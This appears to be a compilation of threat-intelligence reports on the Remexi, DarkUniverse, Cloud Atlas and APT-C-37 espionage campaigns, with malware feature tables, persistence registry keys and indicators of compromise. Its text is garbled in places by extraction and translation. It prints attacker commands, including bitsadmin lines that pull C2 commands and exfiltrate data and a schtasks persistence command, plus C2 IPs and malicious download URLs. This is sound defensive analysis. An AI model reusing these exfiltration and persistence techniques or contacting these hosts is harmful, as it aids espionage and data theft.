mechanism to communicate with the C2 over HTTP. +Proliferation +So far, our telemetry hasn +t provided any concrete evidence that shows us how the Remexi +malware spread. However, we think it +s worth mentioning that for one victim we found a +correlation between the execution of Remexi +s main module and the execution of an AutoIt +script compiled as PE, which we believe may have dropped the malware. This dropper used +an FTP with hardcoded credentials to receive its payload. FTP server was not accessible any +more at the time of our analysis. +Malware features +Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of +interest (as defined in its configuration), steal credentials, logons and the browser history, +and execute remote commands. Encryption consists of XOR with a hardcoded key for its +configuration and RC4 with a predefined password for encrypting the victim +s data. +Remexi includes different modules that it deploys in its working directory, including +configuration decryption and parsing, launching victim activity logging in a separate module, +and seven threads for various espionage and auxiliary functions. The Remexi developers +seem to rely on legitimate Microsoft utilities, which we enumerate in the table below. +Utility +Usage +extract.exe +Deploys modules from the .cab file into the working Event Cache directory +bitsadmin.exe +Fetches files from the C2 server to parse and execute commands. Send +exfiltrated data +taskkill.exe +Ends working cycle of modules +Persistence +Persistence modules are based on scheduled tasks and system registry. Mechanisms vary +for different OS versions. In the case of old Windows versions like XP, main module +events.exe runs an edited XPTask.vbs Microsoft sample script to create a weekly scheduled +task for itself. For newer operating systems, events.exe creates task.xml as follows: +Then it creates a Windows scheduled task using the following command: +schtasks.exe /create /TN \"Events\\CacheTask_" /XML \" +t /F" +At the system registry level, modules achieve persistence by adding themselves into the key: +HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit +when it finds possible add values to the Winlogon subkey, and in +HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager. All +such indicators of comprometation are mentioned in correspondent appendix below. +Commands +All the commands received from the C2 are first saved to an auxiliary file and then stored +encrypted in the system registry. The standalone thread will decrypt and execute them. +Command +Description +search +Searches for corresponding files +search&upload +Encrypts and adds the corresponding files to the upload directory with the +provided name +uploadfile +Encrypts and adds the specified file to the upload directory with the provided +name +uploadfolder +Encrypts and adds the mentioned directory to the upload directory with the +provided name +shellexecute +Silently executes received command with cmd.exe +wmic +Silently executes received command with wmic.exe (for WMI commands) +sendIEPass +Encrypts and adds all gathered browser data into files for upload to C2 +uninstall +Removes files, directory and BITS tasks +Cryptography +To decrypt the configuration data, the malware uses XOR with 25-character keys such as +waEHleblxiQjoxFJQaIMLdHKz + that are different for every sample. RC4 file encryption relies +on the Windows 32 CryptoAPI, using the provided value +s MD5 hash as an initial vector. +Among all these random keys once the word +salamati + was also used, which means +health + in Farsi. +Configuration +Config.ini is the file where the malware stores its encrypted configuration data. It contains +the following fields: +Field +Sample value +Description +diskFullityCheckRatio +Malware working directory size +threshold. It will be deleted if it +becomes as large as the free +available space multiplied by this +ratio +captureScreenTimeOut +captureActiveWindowTimeOut +Probability of full and active window +screenshots being taken after mouse +click +captureScreenQC +captureActiveQC +CaptureSites +VPN*0,0 +Login*0,0 +mail*0,0 +Security*0,0 +Window titles of interest for +screenshots, using left mouse button +and Enter keypress hook +important +upLog.txt +upSCRLog.txt +upSpecial.txt +upFile.txt +upMSLog.txt +List of files to send to C2 using +bitsadmin.exe from the dedicated +thread +maxUpFileSizeKByte +1000000 +Maximum size of file uploaded to C2 +Servers +http://108.61.189.174 +Control server HTTP URL +ZipPass +KtJvOXulgibfiHk +Password for uploaded zip archives +Not really used. Probably full and +active window screenshot quality +browserPasswordCheckTimeout +300000 +Milliseconds to wait between +gathering key3.db, cookies.sqlite and +other browser files in dedicated +thread +Most of the parameters are self-explanatory. However, captureScreenTimeOut and +captureActiveWindowTimeOut are worth describing in more detail as their programming +logic is not so intuitive. +One of the malware threads checks in an infinite loop if the mouse button was pressed and +then also increments the integer iterator infinitely. If the mouse hooking function registers a +button hit, it lets the screenshotting thread know about it through a global variable. After +that, it checks if the iterator divided by +(captureScreenTimeOut/captureActiveWindowTimeOut) has a remainder of 0. In that case, it +takes a screenshot. +Main module (events.exe) +SHA256 +b1fa803c19aa9f193b67232c9893ea57574a2055791b3de9f836411ce000ce31 +c981273c32b581de824e1fd66a19a281 +Compiled +GCC compiler in MinGW environment version 2.24, timestamp set to 1970 by +compiler +Type +I386 Windows GUI EXE +Size +68 608 +After checking that the malware is not already installed, it unpacks HCK.cab using the +Microsoft standard utility expand.exe with the following arguments: +expand.exe -r \"\" -f:* \"\\\" +Then it decrypts config.ini file with a hardcoded 25-byte XOR key that differs for every +sample. It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() +functions respectively and starts several working threads: +Thread description +Gets commands from C2 and saves them to a file and system registry using the +bitsadmin.exe utility +Decrypts command from registry using RC4 with a hardcoded key, and executes it +Transfers screenshots from the clipboard to \Cache005 subdirectory and Unicode text from +clipboard to log.txt, XOR-ed with the +salamati + key ( +health + in Farsi) +Transfers screenshots to \Cache005 subdirectory with captureScreenTimeOut and +captureScreenTimeOut frequencies +Checks network connection, encrypts and sends gathered logs +Unhooks mouse and keyboard, removes bitsadmin task +Checks if malware +s working directory size already exceeds its threshold +Gathers victim +s credentials, visited website cache, decrypted Chrome login data, as well as +Firefox databases with cookies, keys, signons and downloads +The malware uses the following command to receive data from its C2: +bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal + +http:///asp.asp?ui=nrg-- +Activity logging module (Splitter.exe) +This module is called from the main thread to obtain screenshots of windows whose titles +are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc. +SHA256 +a77f9e441415dbc8a20ad66d4d00ae606faab370ffaee5604e93ed484983d3ff +1ff40e79d673461cd33bd8b68f8bb5b8 +Compiled +2017.08.06 11:32:36 (GMT), 2.22 +Type +I386 Windows Console EXE +Size +101 888 +Instead of implementing this auxiliary module in the form of a dynamic linked library with +its corresponding exported functions, the developers decided to use a standalone +executable started by events.exe with the following parameters: +Parameter +Description +-scr +Screenshot file name to save in Cache006 subdirectory, zipped with password +from configuration. Can capture all screen ( +AllScreen +) or the active window +ActiveWindow +Screenshot file name to save in Cache006 subdirectory, zipped with password +from configuration. Specifies the screen coordinates to take +-zip +Name of password (from configuration data) protected zip archive +-clipboard +Screenshot file name where a bitmap from the clipboard is saved in Cache005 +subdirectory, zipped with password from configuration +Data exfiltration +Exfiltration is done through the bitsadmin.exe utility. The BITS mechanism has existed since +Windows XP up to the current Windows 10 versions and was developed to create +download/upload jobs, mostly to update the OS itself. The following is the command used +to exfiltrate data from the victim to the C2: +bitsadmin.exe /TRANSFER HelpCenterUpload /UPLOAD /PRIORITY normal " +/YP01__" "" +Victims +The vast majority of the users targeted by this new variant of Remexi appear to have Iranian +IP addresses. Some of these appear to be foreign diplomatic entities based in the country. +Attribution +The Remexi malware has been associated with an APT actor called Chafer by Symantec. +One of the human-readable encryption keys used is +salamati +. This is probably the Latin +spelling for the word +health + in Farsi. Among the artifacts related to malware authors, we +found in the binaries a .pdb path containing the Windows user name +Mohamadreza New +Interestingly, the FBI website for wanted cybercriminals includes two Iranians called +Mohammad Reza, although this could be a common name or even a false flag. +Conclusions +Activity of the Chafer APT group has been observed since at least 2015, but based on things +like compilation timestamps and C&C registration, it +s possible they have been active for +even longer. Traditionally, Chafer has been focusing on targets inside Iran, although their +interests clearly include other countries in the Middle East. +We will continue to monitor how this set of activity develops in the future. +Indicators of compromise +File hashes +events.exe +028515d12e9d59d272a2538045d1f636 +03055149340b7a1fd218006c98b30482 +25469ddaeff0dd3edb0f39bbe1dcdc46 +41b2339950d50cf678c0e5b34e68f537 +4bf178f778255b6e72a317c2eb8f4103 +7d1efce9c06a310627f47e7d70543aaf +9f313e8ef91ac899a27575bc5af64051 +aa6246dc04e9089e366cc57a447fc3a4 +c981273c32b581de824e1fd66a19a281 +dcb0ea3a540205ad11f32b67030c1e5a +splitter.exe +c6721344af76403e9a7d816502dca1c8 +d3a2b41b1cd953d254c0fc88071e5027 +1FF40E79D673461CD33BD8B68F8BB5B8 +ecae141bb068131108c1cd826c82d88b +12477223678e4a41020e66faebd3dd95 +460211f1c19f8b213ffaafcdda2a7295 +53e035273164f24c200262d61fa374ca +Domains and IPs +108.61.189.174 +Hardcoded mutexes +Local\TEMPDAHCE01 +Local\zaapr +Local\reezaaprLog +Local\{Temp-00-aa-123-mr-bbb} +Scheduled task +CacheTask_ +Directory with malicious modules +Main malware directory: %APPDATA%\Microsoft\Event Cache +Commands from C2 in subdirectory: Cache001\cde00.acf +Events.exe persistence records in Windows system registry keys +HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit +HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager +Victims + fingerprints stored in +HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData or +HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData +RC4 encrypted C2 commands stored in +HKCU\SOFTWARE\Microsoft\Fax +HTTP requests template +http:///asp.asp?ui=nrg-- +And bitsadmin.exe task to external network resources, addressed by IP addresses +DarkUniverse + the mysterious APT framework #27 +securelist.com/darkuniverse-the-mysterious-apt-framework-27/94897 +By GReAT , AMR on November 5, 2019. 10:00 am +In April 2017, ShadowBrokers published their well-known +Lost in Translation + leak, which, +among other things, contained an interesting script that checked for traces of other APTs in +the compromised system. +In 2018, we found an APT described as the 27 th function of this script, which we call +DarkUniverse +. This APT was active for at least eight years, from 2009 until 2017. We assess +with medium confidence that DarkUniverse is a part of the ItaDuke set of activities due to +unique code overlaps. ItaDuke is an actor known since 2013. It used PDF exploits for +dropping malware and Twitter accounts to store C2 server urls. +Technical details +Infection vector +Spear phishing was used to spread the malware. A letter was prepared separately for each +victim to grab their attention and prompt them to open an attached malicious Microsoft +Office document. +Each malware sample was compiled immediately before being sent and included the latest +available version of the malware executable. Since the framework evolved from 2009 to +2017, the last releases are totally different from the first ones, so the current report details +only the latest available version of the malware used until 2017. +The executable file embedded in the documents extracts two malicious files from itself, +updater.mod and glue30.dll, and saves them in the working directory of the malware +%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Reorder. +After that, it copies the legitimate rundll32.exe executable into the same directory and uses +it to run the updater.mod library. +The updater.mod module +This module is implemented as a dynamic-link library with only one exported function, +called callme@16. This module is responsible for such tasks as providing communication +with the C2 server, providing the malware integrity and persistence mechanism and +managing other malware modules. +The persistence mechanism is provided by a link file, which is placed by updater.mod into +the startup folder, ensuring malware execution after a reboot. If the link file becomes +corrupted, the updater.mod module restores it. +Communication with C2 +In this campaign the C2 servers were mostly based on cloud storage at mydrive.ch. For +every victim, the operators created a new account there and uploaded additional malware +modules and a configuration file with commands to execute it. Once executed, the +updater.mod module connected to the C2 and performed the following actions: +downloaded the command file to the working directory; +uploaded files collected and prepared by additional malicious modules (if any) to the +C2. These files were located in a directory called +queue + or +ntfsrecover + in the working +directory. Files in this directory could have one of two extensions: .d or .upd +depending on whether they had already been uploaded to the server or not. +downloaded additional malware modules: +dfrgntfs5.sqt + a module for executing commands from the C2; +msvcrt58.sqt + a module for stealing mail credentials and emails; +zl4vq.sqt + legitimate zlib library used by dfrgntfs5; +%victim_ID%.upe + optional plug-in for dfrgntfs5. Unfortunately, we were unable +to obtain this file. +All malware modules are encrypted with a custom algorithm: +The credentials for the C2 account are stored in the configuration that is placed in the +registry, but the updater.mod module also stores a copy as an encrypted string in the +executable file. Also, the configuration specifies how often updater.mod polls the C2, +supporting both an active mode and a partly active mode. +Malware configuration in the registry +The malware configuration is stored in the registry in the +SOFTWARE\AppDataLow\GUI\LegacyP entry. Different values are detailed in the following +table: +Value +name +Description +C2 domain. +C2 domain path. +C2 credential username. +C2 credential password. +install +1 if malware is installed. +DESACTIVAR | HABILITAR + specifies whether msvcrt58 and glue +libraries are active. +TL2, TL3 +If TL1 is not NULL, it specifies time bounds when TL1 option is applied. +If 1, updater.mod should download msvcrt58.sqt from C2 again. +If 1, updater.mod should download dfrgntfs5.sqt from C2 again. +If not 0, framework should uninstall itself. +cafe +REDBULL | SLOWCOW specifies how often updater.mod polls C2. +path +Path to the folder from which files are being sent to C2. +Modules glue30.dll and msvcrt58.sqt +The glue30.dll malware module provides keylogging functionality. The updater.mod module +uses the Win API function SetWindowsHookExW to install hooks for the keyboard and to +inject glue30.dll into processes that get keyboard input. After that, glue30.dll loads and +begins intercepting input in the context of each hooked process. +The msvcrt58.sqt module intercepts unencrypted POP3 traffic to collect email conversations +and victims + credentials. This module looks for traffic from the following processes: +outlook.exe; +winmail.exe; +msimn.exe; +nlnotes.exe; +eudora.exe; +thunderbird.exe; +thunde~1.exe; +msmsgs.exe; +msnmsgr.exe. +The malware parses intercepted POP3 traffic and sends the result to the main module +(updater.mod) for uploading to the C2. This is done by hooking the following networkrelated Win API functions: +ws2_32.connect; +ws2_32.send; +ws2_32.recv; +ws2_32.WSARecv; +ws2_32.closesocket. +The dfrgntfs5.sqt module +This is the most functional component of the DarkUniverse framework. It processes an +impressive list of commands from the C2, which are listed in the following table. +Command +Description +Sends malware version to server. +DESINSTALAR +Uninstalls itself. +PANTALLA +Takes screenshot of the full screen and saves it to the \queue +folder. +CAN_TCP, +CAN_HTTP, +CAN_HTTPS +Injects a shellcode into IE that establishes a direct connection +with the C2, downloads additional code, sends info about the +download results to the C2 and executes the downloaded code. +MET_TCP, +MET_HTTPS +Also injects a shellcode into IE. The only difference with the +previous command set is that in this case the shellcode doesn +send any additional info to the C2 + it only establishes the +connection, downloads additional code and executes it. +CAN_HTTP_LSASS +Injects the same shellcode as in the case of CAN_HTTP into the +LSASS.exe process. +SCAN/STOPSCAN +Starts/stops network scan. Collects lots of different info about +the local network. +CREDSCAN +Brute-forces IP range with specified username and password. +ACTUALIZAR +Updates dfrgntfs5.sqt. +ACTUALIZARK +Updates msvcrt58.sqt. +SYSINFO +Collects full system info. +REDBULL +Sets cafe flag to 1 + active. +SLOWCOW +Sets cafe flag to 0 + slow mode. +Runs specified process and logs its output, then prepares this +output log for uploading to the C2. +Obtains list of files from a specific directory. +TAUTH +Obtains list of files of remote server if specified credentials are +valid. +Sends a file to the C2. +GAUTH +Downloads a particular file from a shared resource if specified +credentials are valid. +SPLIT +Splits file into 400 KB parts and uploads them to the C2. +FLUSH +Sends file with the data collected by all components that day +and deletes it. +Sets the C2 in its configuration in the registry (C1-C4). +TL1 + TL3 +Sets the active state in its configuration in the registry (T1-T3). +ONSTART +Sets process to be started every malware startup. +CLEARONSTART +Undoes previous ONSTART command. +Runs unavailable ARP module (uncparse.dll + unavailable). This +module stores data in a file internally named arpSniff.pcap. +AUTO +Automatically looks for updates of predefined files. +MANUAL +Files in the specified directory are searched using the * .upd +pattern, all found files are deleted. +REGDUMP +Collects information from the registry. +PWDDUMP +Collects and decrypts credentials from Outlook Express, +Outlook, Internet Explorer, Windows Mail and Windows Live +Mail, Windows Live Messenger, and also Internet Cache; +LOGHASH +Injects process into lsass.exe and starts collecting password +hashes in the file checksums.bk. +SENDLOGHASH +Sends collected lsass.exe process password hashes to the C2. +PROXYINFO +Checks if credentials for proxy are valid. +DHCP +Sets DHCP settings for local machine. +Sets DNS settings for local machine. +FAKESSL +Provides basic MITM functionality. +Victimology +We recorded around 20 victims geolocated in Syria, Iran, Afghanistan, Tanzania, Ethiopia, +Sudan, Russia, Belarus and the United Arab Emirates. The victims included both civilian and +military organizations. We believe the number of victims during the main period of activity +between 2009 and 2017 was much greater. +Conclusions +DarkUniverse is an interesting example of a full cyber-espionage framework used for at +least eight years. The malware contains all the necessary modules for collecting all kinds of +information about the user and the infected system and appears to be fully developed from +scratch. Due to unique code overlaps, we assume with medium confidence that +DarkUniverse +s creators were connected with the ItaDuke set of activities. The attackers +were resourceful and kept updating their malware during the full lifecycle of their +operations, so the observed samples from 2017 are totally different from the initial samples +from 2009. The suspension of its operations may be related to the publishing of the +Lost in +Translation + leak, or the attackers may simply have decided to switch to more modern +approaches and start using more widely available artefacts for their operations. +Appendix I + Indicators of Compromise +MD5 Hashes +1addee050504ba999eb9f9b1ee5b9f04 +4b71ec0b2d23204e560481f138833371 +4e24b26d76a37e493bb35b1a8c8be0f6 +405ef35506dc864301fada6f5f1d0711 +764a4582a02cc54eb1d5460d723ae3a5 +c2edda7e766553a04b87f2816a83f563 +71d36436fe26fe570b876ad3441ea73c +A full set of IOCs, including YARA rules, is available to customers of the Kaspersky +Intelligence Reporting service. For more information, contact intelreports@kaspersky.com +Recent Cloud Atlas activity +securelist.com/recent-cloud-atlas-activity/92016 +By GReAT +Also known as Inception, Cloud Atlas is an actor that has a long history of cyber-espionage +operations targeting industries and governmental entities. We first reported Cloud Atlas in +2014 and we +ve been following its activities ever since. +From the beginning of 2019 until July, we have been able to identify different spear-phishing +campaigns related to this threat actor mostly focused on Russia, Central Asia and regions of +Ukraine with ongoing military conflicts. +Countries targeted by Cloud Atlas recently +Cloud Atlas hasn +t changed its TTPs (Tactic Tools and Procedures) since 2018 and is still +relying on its effective existing tactics and malware in order to compromise high value +targets. +The Windows branch of the Cloud Atlas intrusion set still uses spear-phishing emails to +target high profile victims. These emails are crafted with Office documents that use +malicious remote templates + whitelisted per victims + hosted on remote servers. We +described one of the techniques used by Cloud Atlas in 2017 and our colleagues at Palo Alto +Networks also wrote about it in November 2018. +Previously, Cloud Atlas dropped its +validator + implant named +PowerShower + directly, after +exploiting the Microsoft Equation vulnerability (CVE-2017-11882) mixed with CVE-2018-0802. +During recent months, we have seen a new infection chain, involving a polymorphic HTA, a +new and polymorphic VBS implant aimed at executing PowerShower, and the Cloud Atlas +second stage modular backdoor that we disclosed five years ago in our first blogpost about +them and which remains unchanged. +s meet PowerShower +PowerShower, named and previously disclosed by Palo Alto Networks in their blogspot (see +above), is a malicious piece of PowerShell designed to receive PowerShell and VBS modules +to execute on the local computer. This malware has been used since October 2018 by Cloud +Atlas as a validator and now as a second stage. The differences in the two versions reside +mostly in anti-forensics features for the validator version of PowerShower. +The PowerShower backdoor + even in its later developments + takes three commands: +Command +Description +0x80 (Ascii +It is the first byte of the magic PK. The implant will save the received content as a +ZIP archive under %TEMP%\PG.zip. +0x79 (Ascii +It is the first byte of +On resume error +. The implant saves the received content as +a VBS script under +%APPDATA%\Microsoft\Word\[A-Za-z]{4}.vbs + and executes it +by using Wscript.exe +Default +If the first byte doesn +t match 0x80 or 0x79, the content is saved as an XML file +under +%TEMP%\temp.xml +. After that, the script loads the content of the file, +parses the XML to get the PowerShell commands to execute, decodes them from +Base64 and invokes IEX. +After executing the commands, the script deletes +%TEMP%\temp.xml + and sends +the content of +%TEMP%\pass.txt + to the C2 via an HTTP POST request. +A few modules deployed by PowerShower have been seen in the wild, such as: +A PowerShell document stealer module which uses 7zip (present in the received +PG.zip) to pack and exfiltrate *.txt, *.pdf, *.xls or *.doc documents smaller than 5MB +modified during the last two days; +A reconnaissance module which retrieves a list of the active processes, the current +user and the current Windows domain. Interestingly, this feature is present in +PowerShower but the condition leading to the execution of that feature is never met +in the recent versions of PowerShower; +A password stealer module which uses the opensource tool LaZagne to retrieve +passwords from the infected system. +We haven +t yet seen a VBS module dropped by this implant, but we think that one of the VBS +scripts dropped by PowerShower is a dropper of the group +s second stage backdoor +documented in our article back in 2014. +And his new friend, VBShower +During its recent campaigns, Cloud Atlas used a new +polymorphic + infection chain relying +no more on PowerShower directly after infection, but executing a polymorphic HTA hosted +on a remote server, which is used to drop three different files on the local system. +A backdoor that we name VBShower which is polymorphic and replaces +PowerShower as a validator; +A tiny launcher for VBShower ; +A file computed by the HTA which contains contextual data such as the current user, +domain, computer name and a list of active processes. +This +polymorphic + infection chain allows the attacker to try to prevent IoC-based defence, +as each code is unique by victim so it can +t be searched via file hash on the host. +The VBShower backdoor has the same philosophy of the validator version of PowerShower. +Its aim is to complicate forensic analysis by trying to delete all the files contained in +%APPDATA%\..\Local\Temporary Internet Files\Content.Word + and +%APPDATA%\..\Local +Settings\Temporary Internet Files\Content.Word\ +Once these files have been deleted and its persistence is achieved in the registry, VBShower +sends the context file computed by the HTA to the remote server and tries to get via HTTP a +VBS script to execute from the remote server every hour. +At the time of writing, two VBS files have been seen pushed to the target computer by +VBShower. The first one is an installer for PowerShower and the second one is an installer +for the Cloud Atlas second stage modular backdoor which communicates to a cloud storage +service via Webdav. +Final words +Cloud Atlas remains very prolific in Eastern Europe and Central Asia. The actor +s massive +spear-phishing campaigns continue to use its simple but effective methods in order to +compromise its targets. +Unlike many other intrusion sets, Cloud Atlas hasn +t chosen to use open source implants +during its recent campaigns, in order to be less discriminating. More interestingly, this +intrusion set hasn +t changed its modular backdoor, even five years after its discovery. +IoCs +Some emails used by the attackers +infocentre.gov@mail.ru +middleeasteye@asia.com +simbf2019@mail.ru +world_overview@politician.com +infocentre.gov@bk.ru +VBShower registry persistence +Key : HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[a-f0-9A-F]{8} +Value : wscript //B +%APPDATA%\[A-Za-z]{5}.vbs +VBShower paths +%APPDATA%\[A-Za-z]{5}.vbs.dat +%APPDATA%\[A-Za-z]{5}.vbs +%APPDATA%\[A-Za-z]{5}.mds +VBShower C2s +176.31.59.232 +144.217.174.57 +Pat Bear (APT-C-37): Continued Exposure to an Armed +Organization's Attacks +blogs.360.cn/post/analysis-of-apt-c-37.html +March 25, 2019 +Pat Bear (APT-C-37): Continued to expose attacks on an +armed organization +I. Overview +Since October 2015, the Pat Bear Organization (APT-C-37) has launched an organized, +planned, and targeted long-term uninterrupted attack against an armed organization. Its +attack platform is Windows and Android. Up to now, 360 Beaconlab has captured 32 +Android platform attack samples, 13 Windows platform attack samples, and 7 C&C domain +names. +Due to its own political and religious issues, an armed organization has become the target +of many hackers and countries. In March 2017, an armed group, the Amaq Media Channel, +issued a warning message reminding visitors that the site has been infiltrated, and anyone +who visits the site will be asked to download a virus file that pretends to be a Flash installer. +From the news, we determined that an armed organization is the target of the action, and +its load delivery method includes at least a puddle attack. +Through analysis, we found that a major C&C used by the racquet bear organization is +located in a certain country in the Middle East, and the C&C used by the golden rat +organization [1] of the same period belongs to the same network segment. Further analysis +and comparison, the two organizations have strong correlation, and both contain their own +unique RAT. +Since the target of the patted bear organization is aimed at an armed organization that +supports dual-platform attacks, there has been only one unique animal in the Middle East +with a soldier certificate in history, combining some other characteristics of the organization +and 360 pairs of APT. The organization's naming rules, we named the organization a role +name in the DOTA game - pat the bear. +1/15 +Figure 1.1 Key time event points related to patted bear attacks +Second, the load delivery +The way of patted bear tissue load delivery is mainly puddle attack. +Puddle attack +Al Swarm News Agency website (see Figure 2.1) is a media website belonging to an armed +organization. For the same reason, it has also suffered various attacks from all over the +world. It has changed several domain names and the website has been offline. In addition +to the puddle attack on the Amaq media website mentioned above, we found that Al Swarm +News Agency was also used by the organization for puddle attacks. +2/15 +Figure 2.1 Al Swarm News Agency website (Note: Obtained by archive) +The puddle attack mode is to replace the normal APP of the Al Swarm station with a +malicious APP inserted into the RAT. The RAT specific download link and the link +corresponding file MD5 are shown in Table 1. +Malicious download link +https://sawarim.net/apps/Sawarim.apk +Domain name status +Invalid +Download APK file MD5 +Bb2d1238c8418cde13128e91f1a77ae7 +Table 1 Android RAT program specific download link and link corresponding file MD5 +In addition to the above two puddle attacks against an armed organization's news media +website, we also found that some other historical puddle attacks used by the organization +are shown in Table 2, including the specific download links and links for Android and +Windows RAT programs. Corresponding file MD5. +Malicious +download link +http://androids-app.com/downloads/Youtube_v3_4.apk +Domain name +status +Invalid +Download APK file +Dc1ede8e2d3206b04cb95b6ae62f43e0 +Malicious +download link +http://androids-app.com/SystemUI.exe +3/15 +Malicious +download link +http://androids-app.com/downloads/Youtube_v3_4.apk +Domain name +status +Invalid +Download PE file +D2c40e2183cf18855c36ddd14f8e966f +Malicious +download link +http://snapcard.argia.co.id/woocommerce/wpcontent/plugins/Adobe_FlashPlayerX86_64.exe +Domain name +status +Invalid +Download PE file +8c49833f76b17fdaafe5130f249312ca +Malicious +download link +http://snapcard.argia.co.id/woocommerce/wpcontent/plugins/Adobe_FlashPlayer_installX86.exe +Domain name +status +Invalid +Download PE file +E6e676df8250a7b930b2d016458225e2 +Table 2 RAT program specific download link and link corresponding file MD5 +Third, the way of induction +The patted bear organization mainly uses the following two induction methods in this +operation: +Camouflage with normal APP function +In order to be better evasive, in addition to camouflage the file icon, the RAT is also inserted +into the normal APP, such as an app called " +, which displays the normal +interface after running. However, when the specified broadcast is received, espionage +occurs in the background. +4/15 +Figure 3.1 Camouflage APP " +with two RATs +File icon camouflage +Figure 3.2 Disguised application software icon +Fourth, RAT attack sample analysis +Up to now, the bat shooting organization has used several different RATs for Android and +Windows. +Android +There are three RATs used in the Android side. Two of them (DroidJack and SpyNote) are +more frequently used commercial RATs. They have been spread on multiple hacking forums +5/15 +and have been detected and exposed by many security companies. And we think that it was +developed specifically for this attack, we are named SSLove, which only appeared in the +event and has been updated in several versions. +DroidJack +Droidjack is an extremely popular RAT with its own official website, powerful and convenient +management tools. The organization uses Droidjack in addition to direct use; it will also be +inserted into the normal APP to hide, interestingly, SSLove will also be inserted into the app, +which means that the app will have two RATs at the same time. +Figure 4.1 Droidjack management tool interface diagram +SpyNote +SpyNote is similar to Droidjack. Although the Snap Bear organization uses SpyNote, the RAT +has been used for a limited number of times in this attack. +6/15 +Figure 4.2 SpyNote management tool interface diagram +SSLove +This is a RAT that was not previously exposed. According to the special character +"runmylove" contained in the RAT, combined with it is the first RAT found to use SqlServer +to implement instruction interaction, we named SSLove. The latest version of SSLove has +features such as stealing text messages, contacts, WhatsApp and Telegram data, and +uploading files using FTP. +The organization uses SSLove in the same way as the Droidjack, one of which is used +directly, in which the Al Swarm website mentioned above is used by the camouflage APP +used by the bear organization for puddle attacks; the other is the insertion. Hide it in the +normal app. +7/15 +Figure 4.3 SSLove command function related data table +Windows +There are three RATs used on the Windows side, all of which have been popular in the +Middle East for several years. Two of them (njRAT and H-worm) have been exposed multiple +times, but they are still active. +NjRAT +NjRAT[2], also known as Bladeabindi, can control the registry, processes, files, etc. of the +controlled terminal through the control terminal, and can also record the keyboard of the +controlled terminal. At the same time, njRAT uses a plug-in mechanism to extend the +functionality of njRAT through different plug-ins. +The organization is mostly not directly used when using njRAT, but is sub-encapsulated on +the basis of njRAT, using C# to add a shell to njRAT, and a lot of confusion about the shell +code. The role of the shell is to load njRAT in memory to prevent njRAT from being detected +by anti-virus software. This is the case when the Amaq website mentioned above is used by +the organization to masquerade as an Adobe Flash Player. +8/15 +Figure 4.4 njRAT extracted from malicious samples disguised in Amaq puddle activity +H-Worm +H-Worm is a VBS (Visual Basic Script) based RAT. For information on the RAT, refer to +FireEye's previous detailed report "Now You See Me - H-worm by Houdini" [3]. The attack +used the H-Worm version after the confusion, and after the confusion was removed, we +found that the list of instructions did not change. +Figure 4.5 Confused H-Worm code snippet +instruction +Features +Excecute +Execute server command +Update +Update load +Uninstall +Uninstall yourself +Send +download file +Site-send +Specify website download file +Recv +upload data +Enum-driver +Enumeration driver +Enum-faf +Enumerate files in the specified directory +9/15 +instruction +Features +Enum-process +Enumeration process +Cmd-shell +Execution shell +Delete +Delete Files +Exit-process +end process +Sleep +Set script sleep time +Table 3 H-Worm sample instruction and function correspondence +Fkn0wned +Fkn0wned is a RAT written in VB.NET. This attack uses an earlier version. It only receives the +"DOWNLOAD" command. The DDoS function code does not work. The RAT is actually a +downloader. +Figure 4.4 fkn0wned configuration information and command response code map +C&C, IP and partial sample correspondence +10/15 +Figure 4.5 C&C, IP and partial sample correspondence +V. Distribution of the attacked area +Up to now, 360 Campfire Lab found that there were 11 countries affected by the attack on +the bear organization attack. Through inquiry, it can be known that there are some armed +organizations in these countries. Obviously, the cause of this distribution is caused by +several targeted puddle attacks used by the organization. +11/15 +Figure 5.1 Distribution of the attacked area +Sixth, traceability and relevance +360 bonfire laboratory through the analysis of the bat bat attack activity, combined with the +previous analysis of the gold rat organization, we found that the two organizations removed +the attack target and their respective exclusive RAT, the two have very Strong relevance. +They are all familiar with Arabic and have been working on Android and Windows +platforms for several years. They are good at puddle attacks. +A variety of RATs are used, most of which are used by both parties. +Both organizations used C&C on the same network segment for two time periods. +Seven, summary +With the geopolitical conflicts and other issues, the parties tried to take the lead through +network intelligence and cyberattack activities, further causing the cyberspace conflict to +intensify. The racquet bear organization is another spy intelligence activity organization +based on this. Without the peace factor, the attack cannot be stopped. Recent reports claim +that an armed group in a certain country in the Middle East has been attacked and declared +dead. This may mean that the attack on the racquet bear organization will change, and +finally hope that peace will last long! +Appendix A: Sample MD5 +12/15 +Android attack sample MD5 +Windows attack sample MD5 +12100da4635765f8d69d684f742a47bd +085e195c9b14ef099171805c44ff4914 +1d5e36be4b94289f214447964ede688d +1a655affc8d5fffa48915a934f31f95e +1daf7e38d8d918e8e087ad590b299218 +291c3f5b9b53381283a044e337899c84 +1eb8e8667ed7d2a07076e3d240207613 +6d6961ced0e77c28f881db579301a927 +249aad5d2722b69aac7ed27c9e669c79 +8bb342a3e770717bd8f39ac12a687b54 +2706be45411ed22ce456b8fe8273b285 +8c49833f76b17fdaafe5130f249312ca +31aad6045f403fcd397e19cad4f80d1f +Ba1249123e808e744aeb96753bc119d4 +3751db0d511305b39601e09959491d8e +Bfaf6389cb9fba695daa8552f697d40b +430a0b26cc53f7d39b8192d0b3f79837 +D2c40e2183cf18855c36ddd14f8e966f +4333a9e5d6de6e12b368f5a943a30a0e +D52f57b6597e55c40c21b0f8c763cd69 +484d74ebd0e3586e2ff694017dcaa9e3 +D9153bdf30e0a3ab31601e43d85c9949 +51f7d6fec2be62fc29cfb94f52803428 +Daf7f053cf78690ff0c6ec0384d85bf2 +523845736fc92ea80e9880641b768dc1 +E6e676df8250a7b930b2d016458225e2 +71d0cea1bee13d1e36b5a53788001b85 +7d50a9bd474a7c5878ac8e0e4a183a8b +80382a7f2eb4f292a28554bc95b57938 +98d584d4d575e31f9f4f70c9be05166f 